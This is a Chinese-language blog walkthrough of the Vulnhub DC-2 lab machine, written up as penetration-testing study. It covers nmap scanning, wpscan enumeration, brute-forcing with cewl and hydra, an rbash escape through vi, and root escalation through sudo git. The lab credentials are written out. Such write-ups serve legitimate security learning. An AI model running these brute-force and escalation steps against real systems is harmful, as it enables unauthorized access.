Vulnhub-DC-2渗透学习

一、环境搭建

攻击机:Kali-2021.3:192.168.8.105

靶机:Vulnhub-DC2:192.168.8.222

靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip

二、信息收集

首先使用nmap进行主机探活

nmap -sP 192.168.8.0/24

然后逐个扫描,判断出靶机的IP地址

nmap -A -p- 192.168.8.222

发现我们的目标开放了80和7744端口,80端口是默认端口,7744端口是开放了ssh服务

使用whatweb继续寻找相关信息

whatweb 192.168.8.222

然后发现这个网站使用的CMS是WordPress 4.7.10

三、实战

flag1

首先访问一下80端口,发现flag就在下面

这里有点奇怪,网上的大部分教程在这一步都会出现域名无法解析的情况,因为在访问这个网址的时候,直接跳转到了http://dc-2/的域名上了,而我们的本地hosts文件里是没有该域名的解析ip,所以导致无法访问。但是我这里直接就访问成功了,不怎么理解

正常流程是需要在本机的hosts文件中加入指向该域名的ip地址

Windows:
C:/Windows/System32/drivers/etc/hosts
Linux:
/etc/hosts

打开hosts文件后加入下面的内容

192.168.8.222 dc-2

再次访问就能够访问成功了,并找到第一个flag

翻译:

您通常的单词表可能不起作用,因此,也许您只需要成为 cewl。

更多的密码总是更好,但有时你无法赢得所有密码。

以一个身份登录以查看下一个标志。

如果找不到,请以另一个身份登录。

flag2

flag1提示中提到cewl,检索一下发现这是一个生成密码字典的工具,很明显这是让我们用这个工具来生成密码来爆破,可是现在我们还没有用户名。

Kali Linux字典生成工具Cewl使用全指南

信息收集里我们已经知道了这个网站的CMS是WordPress,而Kali中自带有一个专门用来扫描该CMS的工具:wpscan

Kali(渗透工具):WPScan的使用(WordPress扫描工具)

wpscan --url http://dc-2 --enumerate u //枚举出用户名
注:这里的url必须使用域名,否则无法扫描

发现一共存在三个用户

将这三个用户存入txt文件中:

echo -e "admin \njerry \ntom" > users.txt

然后通过cewl来生成我们的密码字典

cewl http://dc-2/ -w passwd.txt
注:这里必须使用域名,否则会出错

那么接下来就是爆破了,但爆破前得找到这个网站的登录入口,有两种方法

1、通过浏览器检索关键信息来寻找

2、通过扫描网站后台文件来寻找,这里理论上可以使用御剑来扫后台,前提是你的字典足够大
而我这里则推荐使用Kali中的一款web页面扫描工具:nikto
Nikto详细使用教程
扫描完后可以找到该网站的登录页面的地址

两种方法都可以进入登录页面:

使用wpscan开始爆破

wpscan --url http://dc-2/ -U users.txt -P passwd.txt

成功爆破出了两个账户密码

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

尝试登录,进去后就能找到flag2,除此以外就没什么有用的信息了,两个账号的信息是一样的,没必要登录两次

翻译:

如果您不能利用 WordPress 并走捷径,还有另一种方法。

希望你找到另一个切入点。

flag3

提示说我们需要换一个切入点,还记得之前的7744端口吗,这很有可能就是另一个切入点,所以尝试使用刚刚的账号密码登录SSH服务,因为ssh的默认端口是22,因此我们需要在后面加上指定端口,这里在尝试后会发现只有tom账号可以成功登录

ssh jerry@192.168.8.222 -p 7744
ssh tom@192.168.8.222 -p 7744

这里如果前提是不知道账号密码的话,可以使用hydra进行ssh破解

hydra 192.168.8.222 -L users.txt -P passwd.txt -s 7744 ssh

这个工具的破解所花的时间比较久,得耐心等会

然后连接tom账号的ssh服务,成功登录!

寻找到flag3,但是发现是rbash,就是被限制了的shell

大致限制情况如下:

  1. 不能通过 cd 来改变工作目录
  2. 不能设置或取消环境变量: SHELL, PATH, ENV, BASH_ENV
  3. 命令名中不能包含目录分隔符 '/'
  4. 不能使用包含有 '/' 的文件名作为内置命令 '.' 的参数(即文件名中不能有 '/')
  5. 不能使用 >, >|, <>, >&, &>, >> 等重定向操作符
  6. 不能使用 exec 内置命令
  7. ...

受限的 bash -- rbash 

但是我们依然可以使用viless命令,所以可以查看到flag3的值

vi flag3.txt
less flag3.txt

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

flag4

提示中提到了su,这不难理解,既然rbash使我们的权限受到了限制,那我们就得想办法绕过它,然后通过su jerry切换用户

rbash绕过

通过vi编辑器进行绕过

vi //终端上运行vi编辑器
:set shell=/bin/sh
:shell

然后出来就能看到不是rbash了

然后再设置一下环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

第一条命令的作用是添加根目录的bin文件夹到$PATH

第二条命令的作用和上一条一样,添加usr/bin文件夹到$PATH

里面的冒号只是起分隔作用,并没有其他作用

这样我们就可以使用这些文件夹中的命令了,接下来就是切换用户了

切换成功后发现还是在tom的工作目录上,所以更换工作目录,然后就能很快找到flag4

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!

flag5

猜测最后一个flag大概率位于root中,所以我们得提权,先来看看SUID提权

查看具有SUID权限的命令

find / -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

发现并没有像DC-1的find命令那样可以用来提权

于是去查看一下具有root权限的命令

sudo -l

发现存在一个免密的git命令(具有root权限)

同时flag4中也提示了git,因此用到了git提权

2022-渗透测试-git提权(Linux)

sudo git help config 
!/bin/bash 或 !'sh' //在末尾添加

 

成功得到了root权限,进入root就能得到flag

参考文章

靶机测试--DC(2)

dc-2 靶机渗透学习

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值